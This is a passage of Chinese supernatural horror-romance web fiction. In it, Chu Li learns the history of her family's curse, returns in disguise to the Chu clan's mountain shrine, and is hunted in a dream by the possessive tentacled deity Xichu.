“……我以为,不会再见到她了。”明菩抿了一口茶,回忆起往事,眼中浮现淡笑,“没想到,她在十八岁那年下了山,来找我兑现当年约好的那顿饭。” “对了,你爸妈有没有向你提起过,他们是如何认识的?” 楚黎自有记忆起,母亲就是温柔爱笑的模样,一时间很难将她与明菩口中神秘冷淡的少女联系起来。 她点头:“说过。我妈说,我爸年轻的时候喜欢进山探险,和朋友走散了,误打误撞进了她老家。然后他们就一见钟情了。” 明菩摇头笑笑:“她下山的原因,差不多就是这样吧。楚家派人追过一阵子,她傩术精妙,实在抓不到人,楚家也就放弃了。” “后来,大家相安无事过了几年,你和小悠出生了。” 听见姐姐的名字,楚黎心头一颤。 “小悠先天不足,而你,四柱八字为阴,天生比别人多一窍,能见鬼怪。” “再后来,你四岁那年,生了一场重病。那个时候,你的母亲才告诉我,楚氏族人血脉受了诅咒,后代多病,族人活不过五十。” “我们尝试了很多办法,都救不了你。”明菩摩挲着杯缘,声音沉下去,“所以,她决定带你回本家求大傩出手。” 楚黎心中一震。 “可是、可是我妈她下了山,以楚家的性格,怎么可能帮忙?” “是,我也这样劝她。她还是执意要去,半夜自己带着你走了。”明菩轻叹一声,“小黎,一位母亲是不会放弃自己的孩子的。” “再后来,我接到了她的电话,那是你的母亲,第一次向我求援。” 明菩永远忘不了那一夜。 她匆忙赶到十万大山外围,冲天火光在深山亮起,连大雨也无法浇灭。 那一夜下了场极其阴沉的雷雨。 浓郁的黑雾四处游动,正在追捕抱着孩子的狼狈女人。 明菩将人护在身后,召雷将其逼退,也终于看清黑雾的真身。 交缠的、铺天盖地的狰狞触肢,幽蓝花纹若隐若现,只看一眼就有种大脑被搅碎的晕眩感。 明菩望着楚黎,目露悯然:“为你续命的,不是楚氏大傩,而是那位世代供奉的神明。” “祂将你视为了私有,想将你留在身边。” “你也是唯一一个,能直视祂本相的人。” 第23章 第二十三章 抚摸 神明被封印在十万大山深处, 本体无法离开大山范围。 明菩护着楚若羡与昏睡的楚黎离开,也因此付出了惨痛代价,重伤养了半年。 从那日后, 楚家没有停止过寻找楚黎,楚若羡一家也被迫多次搬家。 为了不让好友牵扯过深,被楚家人盯上, 楚若羡主动断了联系。 说到这,明菩淡淡一笑:“你母亲是个很果断的人, 你四岁那年一别, 我再没见过她。” 直到楚黎十八岁, 她再一次接到楚若羡的电话。 托明菩照顾楚黎一个月, 她会与丈夫来接人。 明菩最终没能见到她最后一面。 她们最后的联系是在电话中进行的。 离一个月还有三天时,楚若羡再次打来一个电话。 “你母亲说……”明菩声音微沉, “将你托付给我。她不愿你去应身上的因果, 只求你平安健康,自在无忧。” ——“阿菩, 你是我在这世上最后可信的人……求你帮我照顾她, 我只要她平安健康……别让她回来, 别回来!!” 最后一通电话, 楚若羡气息微弱、断断续续的声音犹在耳边。 躲了许多年, 楚家再一次找上门, 这一次大傩出山了。 他们铁了心要将楚黎带回去。 楚若羡从某些渠道得知消息, 先一步将人送走, 并和丈夫装作若无其事,设局试图反杀。 明菩:“那天,海市郊区工厂发生了一起特大爆炸案,死伤几十人。没有什么爆炸案, 只是斗法之后两败俱伤。只可惜大傩还活着,不清楚有没有受伤。” “大傩离山,封印松动,楚家供奉的神明捏造分身,离开十万大山。但那个时候,你手上有铜钱,那是我门内传下来的法器,能护身,也能遮你因果,祂找不到你。” “你落海后,它为你挡了一劫,失去效力,便被祂找上。” 明菩温和注视楚黎:“这就是所有的前因后果了。我虽答应你母亲,不让你回去,可让一个人稀里糊涂活着,是很痛苦的事情。” “如今也是,留不留下,也看你的抉择。” 一股钻心剧痛狠狠凿在心脏上,楚黎用力捂住心口,大口喘息,眼泪一颗一颗往外涌。 “……为什么,为什么一定是我?”她抬起布满红血丝的眼球,“菩姨,我有什么特别值得他们大费周章来抢!甚至要害我家人!” “我不明白……我不明白一家人好好生活为什么这么难。楚家想要,把我送回去就好了,为什么要斗,为什么没有人问过我的意见?为什么总是在做自认为对我好的事情?为什么没有人……来问问我想要什么?” 楚黎双手发颤,十指插入发间,又哭又笑,颠来倒去重复相似的话。 明菩沉默站起,把她用力搂入怀中。 夜雨淅沥不停。 过了很久,楚黎哑声问:“菩姨,楚家为什么必须要我回去?” “这一点,我与你母亲都不清楚。”明菩抹去她的泪痕,“楚家与所供奉的神明已经水火不容,我猜测,大约是你能不受祂的影响,想用你对付祂。” 所以兜来绕去,还是避不开祂。 楚黎的心异常平静:“我要回楚家。” 为父母讨回血债。 明菩似笑似叹:“你母亲了解你,猜到你可能要回去,给你留了后路。” * 当日夜里,楚黎做了一个梦。 连绵深山中薄雾弥漫,下着阴冷小雨,高大杉木直通天幕,树身系红绳铜铃,随风森森响动。 青黑色石阶通向深山,每九阶便立一尊人面鸟身柱。 她独自走在漫长的石阶上,迈着短腿,越走越快,逐渐变成了奔跑。 “妈……妈妈,妈妈!” 脚底被湿滑的碎石子一绊,楚黎一头栽了下去,手掌瞬间破了皮。 深山里细雨潮湿阴冷,风徐徐吹拂。 “呜……”豆大的眼泪掉下来,她抱紧自己,缩成一团蘑菇蹲在地上。 石阶不知何时已经到了尽头,数十步之外,有一座庄严建筑,瓦如龙鳞,檐角飞挑。漆黑大门数米高,长满诡异面具,它们如同活物,缓缓蠕动,或转眼或张口。 楚黎几乎被吓傻了,呆呆蹲在原地掉眼泪。 “哈。”深林里响起一声笑,尾音混着点古怪嗡鸣。 不太像人能发出的声音。 楚黎小时候酷爱听鬼故事,会跟着大人一起看星空台播放的灵异电影。 家里的氛围很轻松,奉行自由教育,从来不干涉她的兴趣。虽然年纪很小,她也意识到,自己撞到鬼了。 楚黎哭得更加凄惨:“不、不要吃我,我生病了……不好吃的!我爸爸妈妈有很多很多钱,可以买很多很多纸钱和可以烧的香给你……” 深林里静悄悄的,没有回应。 “鬼,你答应了吗?”楚黎慢慢探出头。 “我……我妈说,不说话,就叫默认。”她用小手捂住眼睛,从指缝里四处张望,“花花老师说,要做诚实的人,你、你答应了,就不能……” 楚黎蹲在地上,仰着脖子,张着嘴呆呆望着。 整片天幕盘踞着一团黏稠、漆黑的似雾流动物质,若隐若现,偶有幽蓝流光闪烁,如同无数只眨动的眼睛。 那一刹那,楚黎与祂对视。 她看见了祂。 看见了本不该存在于这个维度,本不该被人类肉眼所看见的存在。 一种事物在没被看见时,它处于真实与虚假之间。当被看见,它便成了真实。 楚黎头上的细雨停了。 “迷路了?”祂模仿着人类的腔调,声音温柔却又冰凉滑腻。 年幼的楚黎完全肯定自己撞鬼了。 “我、我……”她牙齿在打架,咯吱咯吱响,“我想找我妈妈,我迷路了,她会很担心我……” “站起来,转身向前走,右拐——小心石子……” 那道声音为她耐心指路。 楚黎跌跌撞撞跟着走,眼前忽然开阔,走出了深林范围。 连绵的古老建筑群依山而建,正门大敞,门内烟火缭绕,穿着祭服戴傩面的瘦小人影摇晃铜铃,她的母亲怀中抱着脸色惨白的“她”,正哽咽呼唤着她的名字。 “去吧。” 楚黎被轻轻推了一把。 她踉跄这跌入门槛,扶着门框回头,“谢、谢谢你!你是住在那栋房子里吗?” 周围死寂。 半响,那声音才慢悠悠响起。 “是啊,我住在那。” “我会带礼物来看你的!”楚黎哭花的脸露出笑容,“谢谢你,你真是一个好人!” 她转身跑向母亲,急于哭诉自己刚刚摔了一跤,摔流血了。 因此,没留意深林里响起的那一声笑,最开始还勉强称得上温柔,到最后变成了含混不清,阴恻恻的低笑。 像是听见了世间最可笑的笑话。 * 窗外天光微熹。 楚黎从梦里惊醒,后背出了很多冷汗,太阳穴突突跳动。 这是被她所遗忘的那段记忆。但不完整,还有一部分,她没有想起来。 从梦到的这段往事看,母亲带着她回到楚家时,她已经快死了。魂魄离体,飘到了深山里,找不到回去的路。 回想起梦里所见的神明本相,楚黎汗毛倒立。 这比祂的分身还要恐怖千万倍。 她懊恼拍了拍自己的嘴:“乱说话,乱说话……” 小时候随手画的大饼,差点害死现在的自己。 做了这个梦,楚黎也睡不着了,索性起床跟着明菩修行道法。 接下来半个月,她每天起得很早,和明纯一起,随着明菩修行。 或许受到母亲影响,虽然从小不曾接触过这些,但悟性高,学得很快。 明菩教了她许多简单易学的隐匿防身之术,并教了几招剑法。 半个月一晃就过。 楚黎下山那天,细雨飘摇。 明菩赠了她一叠符篆,以及一柄用了多年的铜钱剑,平时巴掌长,如不起眼的挂饰。 深深一拜后,她转身下山,拨出一串陌生号码,归属地为湖省。 这就是楚若羡留给楚黎的后路。 嘟嘟几声,电话拨通了,那头的人嗓音温和:“你好,哪位?” 楚黎深吸一口气,声音略低:“小姨。” 电话那头响起噼里啪啦的东西打翻声以及脚步声,然后安静了很久,那人才颤着声音:“……是小黎吗?” * 湖省以南,十万大山盘踞起伏。 腹地最深处,一道山门高逾三丈,两尊睚眦鬼首石像立于山门前,脖颈系褪色红绳,绳头缀铃铛,有人经过时清脆晃动。 山门后青石板石阶蜿蜒,开阔处是绵延的古老建筑群,高低起伏一眼难以望到尽头。 祭礼将至,空置的木楼陆续住进了客人。 往年祭礼,楚氏本家都洋溢着喜悦氛围。今年气氛肃穆,来往的人谨慎寡言,生怕触怒冲撞了不该冲撞的。 楚黎跟着清瘦的女人走过地面漆黑,绘制有猩红纹路的广场。 女人银簪盘发,穿盘扣短衫与靛蓝长裙,腰间挂了只红绿傩面。她五官英气,侧脸与楚若羡有六分相似。 她推开一栋小楼的门,里面像间很有年代感的办公室,桌上堆满了蓝皮册子,有男有女,都在埋头整理抄录。 “若映姐,你怎么来啦?”圆脸女人从一摞册子后探出头。 她桌上摆了一盆石兰,还有一架双面镜。 楚黎不动声色瞥了眼镜子里的自己。 眉眼清秀,唇角有枚小痣,头发整齐盘起,穿着黑色盘扣短衫以及同色长裙,裙摆缝了一圈白。 是一张完全陌生的脸。 楚若映亲昵揽着楚黎的肩,用熟络的语气道:“这是我表家的孩子,家里远来得晚。劳烦你给她安排些轻松的事。青玉,这是你妙姨。” “妙姨好。”楚黎乖巧浅笑。 “哎,这孩子真乖。”圆脸女人翻出一本朱红册子,手指滑来滑去,“没几天就要办祭礼了,那些好地方都安排出去了,若映姐你也是,提前和我招呼一声我早早就留个位置嘛……” 丰腴的指头上套着金镶玉戒指,戳了戳册子上的一个名字,被画了一道红线。 “昨天有个女娃受了点惊,神祠那边空了缺,就让这孩子顶上吧。” 神祠…… 楚黎宽袖下的手忍不住攥紧,轻声细语问:“妙姨,受惊是怎么回事啊?” “呃…神祠那边闹了点动静,女娃胆子小,就是吓着了。” 楚若映皱起眉头,拍拍楚黎的肩:“这丫头也胆子小,怕她没轻重冲撞傩神。还有别的地方能安排吗?” “没啦,就还剩巡山那边缺人,白天一趟,晚上一趟,这小身板扛不住的。” 楚若映沉吟一会,递了个鼓鼓的黑荷包出去:“你做个主,把她这差事免了成不?” 圆脸女人东张西望一眼,压低声音:“若映姐,往年我一定帮你,今年不成啊,大傩不高兴,上上下下查得很严。旁支的年轻小辈,都得干活。” 楚黎压下情绪,浅笑道:“没事小姨,我干活的时候会多多小心的。” * 与楚黎搭伴的,是位面颊有雀斑的腼腆女生,名叫楚雀伶。 从今日开始直到祭礼结束次日,她们要同吃同住。 楚若映负责祭礼的部分流程,叮嘱了她几句要注意的,就被大傩派来的人匆匆叫走。 她们一起到大饭堂领了午饭,挑了个视线好的门槛并排坐着吃。 大锅菜,一荤一素和一碗寡淡的汤。 楚黎从小挑食,逼着自己吃了一半,实在塞不进去了。 楚雀伶吃得干干净净,看她食不下咽,抿唇笑了:“青玉,你是第一次来吧?” “对,我往年身体不好,一直在修养。” “难怪呢,等会带你加餐,有好吃的。” 吃过午饭,稍作休息之后,楚雀伶带着楚黎去中心建筑群的某个房间领了两个食盒,然后穿过大片建筑群,开始沿着青黑石阶上山。 一步一步,梦中的场景逐渐和眼前的景色重叠。 楚黎摸了一下贴身佩戴的小铜钱剑,确认还在才稍稍安心。 “没事的。”她轻声细语地安慰,“傩神大人不喜吵闹,我们动静轻些就不会惊动了。” 楚黎不由想起圆脸女人说的,受到惊吓的女娃。 “雀伶,之前和你搭伴的女孩,现在怎么样了?” “疯了。一起放完新贡礼之后,她让我先出去,她要跪拜傩神大人。我就先出去打扫神祠外面了。没多久,她就疯疯癫癫跑出来,好像看见了很恐怖的事情。” “……疯了?!”楚黎后背发冷,“不许跪拜吗?” 楚雀伶表情复杂:“你没听说过本家流传的谶语吗?上一任大傩临终前,留下谶语,说楚家将会有人得傩神认可,得到神权,破除血脉诅咒。”她叹了一口气,“从那之后,很多人花样百出希望讨得神明欢心。” “青玉,我们千万不要有这种念头。我阿嫲说了,傩神其实非常厌恶楚家人,惹怒祂的下场只有疯或者死。” 楚黎听得云里雾里,听到最后一句,重重点头。 主动去找祂,她是疯了才会做这种事。 石阶尽头,古老肃穆的建筑屹立,与梦里看见了不太相似。 神祠面前是玉石横砖铺成的广场,猩红纹路纵横,最中央放了一尊三人合抱的青铜三足鼎。 神祠的门是正常的朱红双开大门,窗户也没有被封死。 楚雀伶紧紧闭嘴,带着楚黎放轻脚步跨过高高的门槛。 光线昏暗下来,殿内的温度比外面低得多,幽冷寂静。 楚黎后背紧绷,走得很慢,很谨慎。 宽大的供台摆满贡礼,头顶垂落许多绣了古老文字的咒幡。供台后的神像没入大殿上方,被红布严实遮盖。 神像之后,还有更宽阔的空间,但完全隐匿在黑暗中,楚黎只瞥了一眼,就学着楚雀伶把沉重的三层食盒打开,替换供台上冷却的精美菜肴。 她们动作迅速,冷却菜肴装回食盒,重新盖好提起。 一切都很顺利,楚黎暗暗松了一口气,随着楚雀伶低头慢慢往后退。 退至门槛处,她提着食盒转身。 “簌簌——” 幽冷的风从神祠深处吹出,咒幡拂动不止。 黏稠视线钉在楚黎背后,一寸一寸往上爬,最终落在后颈上。 楚黎的心重重一跳,跨出门槛动作踉跄,食盒撞在门槛上。 “咚——” 沉闷刺耳声音回荡在殿内。 楚雀伶的脸霎时间白透了,下意识瑟瑟发抖跪伏在原地。 那道视线停留了很久。 久到楚黎感觉它化作一只手,从她的眉骨开始,一点点往下抚摸。 最终停留在脖子上,轻柔摩挲着,力度缓缓收紧。 第24章 第二十四章 “黎黎,我知道你没有睡。…… 楚黎的呼吸逐渐急促。 贴身口袋处猛地发烫, 咒幡停止拂动,视线也消失无踪。 她扶着门槛,缓了缓一阵阵发紧的喉咙, 拽起跪伏的楚雀伶,逃一般小跑离开大殿。 稀薄阳光穿透云层,落在浑身发冷的两人身上。 楚雀伶脸上没半点血色, 惶惶不安道:“青玉,刚刚……刚刚傩神大人是不是现身——啊!你的、你的脖子?” 一圈殷红痕迹留在纤白脖颈上, 蜿蜒起伏, 如同蛇类首尾相连。 楚黎掏出折叠镜子, 沉默往上拉了一下衣领, 勉强将其遮住。 如果没有铜钱剑护身,祂或许会将她杀掉。 意识到这点, 她心中没有太多波澜。 毕竟她先动过两次手, 祂想还回来也无可厚非,她从未想过怪物会有宽容这种品质。 “没事, 不要紧。”楚黎朝她安抚性笑笑, “先打扫卫生吧, 时间不早了。” 楚雀伶瞳孔地震, 楚黎在她心中的形象瞬间高大起来。 “好。”她赶紧取来打扫工具, “你扫青铜鼎附近就好, 剩下的我来。” 扫帚在地面沙沙拂动。 楚黎一心二用扫青铜鼎附近的地面, 时不时用余光瞥一眼神祠方向。 直到她们小广场把扫干净, 周围都没发生一点异样。 “太好了。”楚雀伶擦去额头的汗珠,抿唇笑起来,“傩神大人没有怪罪我们。” 余光处的神祠静静屹立,楚黎心底弥漫浅浅不安。 太不像祂的行事作风了。 按正常发展, 祂会不择手段,将她拖进神祠深处。 是因为受封印的限制吗? 楚雀伶拽着楚黎坐在下山的石阶上,打开食盒,取出虽然冷掉,但依然香气扑鼻的菜肴。 “别发呆啦,快吃,吃完下山。天黑下山很可怕的。” 楚黎震惊:“这……能吃?” 吃神的贡礼,不会被毒死吗? “傩神大人从来不碰我们送去的贡礼,最后都是要倒掉的,还不如进肚子呢。”楚雀伶往她手里塞了一个胖乎乎的仙桃包子,“豆沙馅的,你尝尝。” 从她熟练的动作看,就知道不是第一回做这种事。 楚黎确实饿了,怀着诡异的心情,咬了一口。 外皮松软,内馅清香绵密,散发着浓郁的红豆香气。 大殿里阴冷,倒成了保存食物的最佳条件。 她囫囵吞掉整只红豆包,楚雀伶又递来一盘红桃粿,咬开后是糯米香菇馅,夹着虾米,咸鲜可口。 “好吃吧?”楚雀伶两腮鼓鼓。 楚黎朝她竖起大拇指。 她们挨坐着,如仓鼠分食,将撤下来的旧贡礼吃了大半。 天光渐暗,楚雀伶连忙收拾地上的狼藉,拉着同伴加快脚步下山,仿佛身后有鬼在追。 楚黎嘴里嚼着半个粿,好不容易咽下,喘着气问:“为什么一定要在天黑前下山?这里也会闹鬼吗?” “太阳沉山之后,会在山里迷路的……之前有人忘记时间,晚下山了,在山里乱走了一夜,被找到的时候,已经被活生生吓死了!” 她们踩着最后一丝落日夕阳,顺着青黑石阶匆匆下山。 楚黎向后回望。 血红落日彻底隐入起伏群山中,整座山笼罩在晦暗不明的黄昏中,杉树上系红绳,下缀的铜铃无风摇晃。 泠泠脆响间,像一首诡异的歌谣。 夜晚绝对不能上山。 楚黎暗暗记下这点,与楚雀伶一起去归还了食盒。 肚子撑得难受,她们都没去吃晚饭,穿过大祭场,朝东边的小红楼建筑群走。 东边是为楚氏旁支族人安排的住所。 血杉木搭建的小楼高低错落,窗户是最原始的木窗,窗棂格成“卍”字连环,糊着透光明纸。 楚黎与楚雀伶的房间在二楼,大单间,推开菱格木门,外面有条小小的观景走廊,正对着神祠所在的那座山。 楚氏本家的建筑簇拥着巨大广场而建,入夜后,星星点点的烛火亮起,像夜幕里的星辉。 这里的一切都保留了古老风格,很难寻到现代痕迹。 几乎没有电器,连照明用的都是油灯。 望了眼远处的山,楚黎二话不说关上落地木门,顺便反锁。 这栋小楼只有两层,二楼的活动空间完全属于楚黎和楚雀伶。 房间外面是宽敞的小客厅,洗浴室配置齐全。 她摸出手机一看,果然没信号。 轮流洗完澡后,两人窝在小客厅里闲聊。 从楚雀伶口中,楚黎了解到很多关于祭礼的事。 七日后举行一年一度的傩神祭礼,为傩神上贡。并且,大傩会在那日选出楚氏下一任继承者。 “大傩已经上百岁了,几年前病过一场,情况很凶险,虽然痊愈了,还是影响了身体。这次祭礼事关传承,楚家上下都很重视。” 楚黎皱了皱眉:“上百岁?” 楚雀伶惊奇于她的无知,但想到她是第一次回本家,耐心解释道:“大傩可与神明沟通,得神明眷顾,寿命比普通族人长。” 这其中有蹊跷。 楚黎能猜到,每代大傩寿命长,一定是用了什么见不得光的办法。 她们又闲聊了一会,楚黎基本了解了楚家的构成,以及这次祭礼的大概流程。 山中的天很快黑透。 楼下住的两位年轻女性也回来了,她们负责清理山门石道。听说楚黎是楚若映的表亲,很受对方关照,她们特地上来攀谈,态度热络亲切,话里话外都在打探她是否知道下一任继承人的消息。 楚黎对她们的第一印象是精明市侩。 担心被看破身份,她含糊其辞,只略作寒暄。 感受到楚黎的搪塞,她们对视一眼,其中一人语气有点泛酸:“要不人家怎么说,投胎是技术活呢。青玉,有司祭照顾,今年就留在本家了吧?说不定过几年,还能上本家的名册。” “呃……”楚黎谨慎斟酌用词,“其实,我觉得外面也挺好的,生活便利。” 这种没有网、没有现代科技的地方,鬼才会想来呢。 显然,她们不是这样想的,脸上的表情僵了僵,勉强挤出一点笑,匆匆道别下楼了。 楚雀伶啃了一口脆甜的李子,拍拍楚黎的肩:“留在本家是所有旁支的梦想,上本家名册更是祖坟冒烟的好事。你这样说,她们还以为你在嘲讽呢。” 楚黎叹气:“我是实话实说。雀伶,你呢,也想进本家吗?” 经过一日相处,她们已经成了朋友。 楚黎也了解到,楚雀伶居住在十万大山山脚下的小镇,镇中都是她的族亲,负责开采铁矿。 如果今年过后,她没能成功留在本家,她会去铁矿场帮忙。 “嗯嗯!”楚雀伶小幅度点头,“多风光的事呀。” 留在本家的旁支,如同大型公司最底层的职员,每天做端茶打杂的活。 只有撞了大运立下功劳,或者与本家血脉结婚,才能登入名册。 小楼里燃着松脂油灯,燃烧时有淡淡的松木香气,光线柔和不伤眼睛。 楚黎望着灯火下,她那张年轻期盼的面容,很想告诉她外面世界广阔,她的人生有无限选择,不必被囿于大山深处。 视线下移,瞥见她长满茧子的手,楚黎最终什么也没说,柔声说:“睡吧,我们明天还要上山呢。” * 菱格木门糊着一层明纸,每栋小红楼外,都插着一支火把,火影摇晃,万籁俱寂。 房间里摆着两张单人床。 楚黎睡在靠门那边,辗转反侧迟迟没有入睡。 今晚闲聊,她基本了解了楚氏一族的结构。 楚家分为本家与旁支。 本家成员近千人,都是天资出众,傩术精妙之人,是这个庞大家族的上层者,享受旁支的供养。 旁支有上百脉,人数不详,围绕十万大山边缘居住。 经营范围很广,从衣食住行到矿石开采、河运、古董贩卖等等。 因楚氏一族血脉受到诅咒,后代多病短寿,而傩术可以缓解,所以他们心甘情愿供养本家。 凌驾于本家与旁支之上的,是大傩。 这个古老家族的统治者。 可以聆听傩神的神谕,傩术通天。 楚黎默默回忆自己今天得到的信息。 这一趟回楚家,回得非常急。拨通楚若映的电话后,对方立刻来接,封山在即,她们没有太多时间叙旧。 在车上相见时,她们看着彼此间相似的面容,都不由红了眼眶。 楚黎只问了一句话:“小姨,三年前大傩出山的消息,是不是你告诉我妈的?” 楚若映手掌发颤,抚摸着她的脸,含泪点头:“真像她。想做什么,告诉小姨,再难的事小姨都帮你。” 楚黎一字一句道:“我要进本家,给我爸妈报仇。” 于是,楚若映为她安排了表亲家女儿的身份,将楚青玉的资料给她,内容从衣食住行到喜好忌口,事无巨细罗列。 楚青玉比她小两岁,从小体弱多病,没回过本家,熟悉她的人不多。 一路上,楚黎都在忙着背资料,楚若映精通易容,花了点时间为她改头换面。因为身上本就有楚氏血脉,她顺利通过山门。 楚若映之前和她约好,忙完会来找她。 这个点还没来,大约是真的脱不开身了。 楚黎又翻了个身。 望着睡熟的楚雀伶,她无端想起了毅然离开楚家的母亲。 当年的母亲,在决定离开楚家之前,都在想什么呢? 床脚咯吱咯吱作响,翻来覆去间,楚黎渐渐睡去。 * 楚黎睁眼醒来。 脑袋晕沉沉,像是做了一场很长很长的梦。她忘记了所有,只隐约记得,自己答应了谁,要带着礼物上山感谢。 她断断续续向母亲诉说,并用稚嫩童声询问:“妈妈,山上住着谁呀?” 屋内点着油灯,坐了许多打扮奇怪的人,墙上挂了很多奇怪面具。 听见这句话,屋子里所有人脸色一变。 楚黎有点害怕,悄悄搂紧了母亲。 母亲像平时温柔抚摸她的脑袋,手冷得像冰,在细微颤抖,话也断断续续:“是楚氏的神祠……你还小,等你长大一点——” 她的话被一道苍老暗哑的声音打断。 “既然孩子与祂有缘,那就去拜一拜傩神,没坏处。” 楚黎悄悄打量坐在高椅上的瘦小身影,那人穿着厚重的黑金祭服,脸上戴奇怪面具。 很快,屋内的人都退了出去,包括这个奇怪的人和母亲。 房间门从外面繁琐,屋外的人在争吵。 楚黎贴着门偷听,大人们似乎因为她要上山这件事在吵架。 门外,那道沧桑的声音忽然拔高,尖利重复:“逃不掉的……被那位大人看上,永远都逃不掉!” 她的声音像无法摆脱的诅咒,吓得楚黎捂住嘴,一屁股摔在地上。 屋子里什么也没有,门外的争吵声在一阵激烈之后忽然消失。 楚黎等了很久,看着门缝透进来的光慢慢变黑,母亲也没回来。 她扒着门哭喊,也没有人理会。 哭着哭着,她累到睡着了。 再次醒来,她被母亲紧紧抱在怀里,冰冷的雨滴顺着母亲散乱的长发滴在她的脸上。 四周黑得可怕,深山的树木像鬼影摇晃。 楚若羡察觉到她醒来,声音温柔,放得很轻:“小宝不怕,妈妈带你回家。我们玩个游戏,游戏结束之前不能发出声音,好不好?” 楚黎抱紧她的脖子,把哭声憋进肚子里,用力点头。 楚若羡亲了亲她的额头,再抬头时目光凛然,弯腰滚下草坡。 身后,火把与狗叫声连绵起伏。 “轰隆——” 闪电短暂照亮深林,透过母亲的肩头,楚黎清晰看见扭曲黑雾从四面八方涌来。 她听见了遥远的、古老的呓语。 “你……是我的……” * 楚黎挣扎着从梦中醒来。 眼前一片漆黑,过了好一会,才慢慢适应这种黑暗。 菱格门外没有半点火光,十万大山仿佛都陷入沉寂,安静地只剩她一人在呼吸。 晦暗的月光流淌在门上。 楚黎的神经忽然紧绷,有什么东西进来了! 听不见,看不见,但潜意识告诉她,有东西来了,并且速度很快。 她扭头去看旁边的楚雀伶,对方双眼紧闭,胸口起伏,嘟囔着翻了个身。 诡异的是,这一幕是静默的,没有一点声音。 梦…… 她还在梦里。 是谁造出来的梦,不言而喻。 难怪白天没反应,是在这里等着螳螂捕蝉。 楚黎用力闭上眼睛,控制住呼吸,在心底暗示自己—— 快醒来,快醒来! “咯吱。” 房间门被轻轻推开。 看不见的存在一步一步,走近了靠里侧的单人床。 楚黎侧着身体,散乱长发遮住半边脸,被子下的手紧紧蜷起。 快醒!快醒啊! 她在心底疯狂呐喊。 蠕动雾气凝聚成一只修长的手,腕骨上缠了两圈红玉珠串,在寂静无声的空间里轻轻晃动,响声泠泠悦耳。 冰冷手指温柔亲昵抚过细微颤抖的背脊。 触肢从被子缝隙钻入,贪婪缠绕住脚腕。 “……*&#&¥……黎黎……%&#*……” 祂发出含混不清的低语。 指尖一寸寸移动,停在脖子动脉处。 正在竭力装睡的楚黎听见恶鬼的低语: “黎黎,我知道你没有睡。” 第25章 第二十五章 吃她 恶鬼的低语从楚黎耳畔游过。 寂静的房间里, 急促的呼吸声无从掩盖。 红珠串坠着条同色流苏,拂过肌肤时微微发痒。 被指腹按住的颈动脉不断起伏,祂不轻不重摩挲着, 似乎在考虑是否要割断她的喉咙。 随后俯下身,如情人贴着她的耳垂,用舌尖舔舐, 低语:“背诺三次。你说,我该如何惩罚你?” 一只手握住她的肩膀, 动作强硬将她掰过来。装下去也没有意义, 楚黎缓慢睁开眼睛。 饶是做足了心理准备, 再次见到祂时, 心脏依然重重一跳。 冷白手腕之上,是一身纯黑长袍, 盘扣一颗一颗系得规整。 祂的脸隐匿在阴影中, 如混沌流动的黑雾。 “又见面了,黎黎。” 黑雾逐渐凝聚成熟悉的面容, 漆黑长发披散在身后, 衬得那张脸更加鬼气森然。 祂扯动唇角, 笑容说不出的诡异。 “……”楚黎想, 如果自己有心脏病, 尸体已经硬了。 一段时间不见, 他看起来更像鬼了。 刚刚被迫翻身时, 她顺势摸了一下枕头下面, 铜钱剑和一叠符篆此刻在她手中,掩在薄薄的被子下面。 手里有底牌,但不敢贸然出手。因为不确定在这里死去,梦外是否同样死亡, 她谨慎地保持了沉默,并不断催眠自己快快醒来。 这样的沉默令觋楚眼神更阴冷。 他俯身逼近,鼻尖几乎相抵,紧盯着楚黎的眼睛,似乎要外表剖开,看清她心底的想法。 “后悔吗?” 在决定回到本家那刻,楚黎做好了会遇到觋楚的准备,也想过无数种相遇后的场景。 但她从来没想过,对方会问出这句话。 一瞬间,太多的念头略过脑海。 楚黎被迫直视他,望着漆黑瞳孔,动了动嘴唇:“觋楚,我……” 声音很低很轻,觋楚下意识凑近了一点,想听清楚这个回答。 “咳、咳咳……”她被唾液呛了一下,脸庞泛红,捂着嘴痛苦咳嗽,“咳咳……水。” 觋楚的视线落扫过微蹙的眉、因为痛苦而泛红的肌肤,眼神幽暗,起身去小客厅倒水。 刚走出房间门,身后就传来匆匆下床的声音。 他侧身回头,涌动黑雾化作触肢,狰狞卷向楚黎。 “砰——” 她拉开落地木门,扬起手里的铜钱剑,练习了半个月的剑法不算纯属,但已有一点凌厉架势。 铜钱嗡嗡震动,斩断了几根卷来的触肢。 觋楚站在原地,面无表情盯着她,更多触肢发狂般扑来。 楚黎身体向后一仰,借力翻出观景连廊的栏杆,一张符篆夹在指间燃烧,随着她跌下去,火光拉长好似流星坠落。 符纸转眼燃尽,触肢们像失去目标,无头苍蝇般乱转。 漆黑身影一步步走出,死死盯着楚黎往下跳的地方。 她又骗了祂一次。 月光转瞬黯淡,漆黑蠕动的事物覆盖了整片夜空。 “最后一次。” 祂不会再放过楚黎。 * 风从耳边呼呼刮过,楚黎护住脑袋,从二楼跳下。 三米的距离不算低,小楼门前由石砖铺成,没有任何缓冲,她摔下去时险些痛呼出声。 楚黎咬牙憋回去,左肩膀钝钝发疼,左脚也扭了一下。 来不及检查身上的伤,她忍痛奔跑。 庞大的建筑群陷入绝对的寂静,风声、虫鸣、烛火燃烧声通通消失。 楚黎在交错的回廊里奔跑,隐符遮掩了她的气味和声音。 屋檐外的缺月西斜,挂在一座山的山尖。 她记得,入睡的时候,它还不在那个位置。 这个梦应该不是靠意志力醒来的,只有到某个特地的时间,才会结束。 楚黎喘着气,又绕过一条回廊,明白了觋楚在和她玩鬼捉人的游戏。 被抓到,会死。 忽然之间,天地迅速黯淡,楚黎身后的影子越来越淡,直至陷入漆黑之中。 她一时间无法适应这样的黑暗,只能双手向前,摸索着前进。 她也不知道自己要去哪里,总之要远离觋楚在的地方。 手胡乱摸索,忽然摸到粗壮冰冷的东西,手感滑腻。 “……!” 楚黎的心脏差点停止跳动,转身就跑。 那东西的反应比人类要快得多,闪电般游动,卷住她的腰往后拖,并不断发出热情的嗡鸣声。 很快,接二连三的嗡鸣声像浪潮一样回应。 楚黎离奇地听懂了它的意思。 [……好香¥*&%……抓到了,在这里……] 她拼命挣扎着,反手挥剑。 铜钱剑切开了一段柔软的物体,腥甜味道弥漫在空气中。 楚黎迅速点燃了第二张隐符。 借着跳跃的火光,她环视四周,整个人如坠冰窟。 夜空被黏稠的黑色笼罩,无数触肢从天上垂落,四处游动着,寻找唯一的猎物。 听到同伴的呼唤,附近的触肢游动着朝这边汇聚。 这一幕远远超出了人类的理解。 楚黎用力捂住嘴,将一切尖叫或者呜咽堵在掌心。 符篆很快燃尽,视野再次陷入漆黑,她的气息消失了,聚集的触肢在附近迷茫寻找。 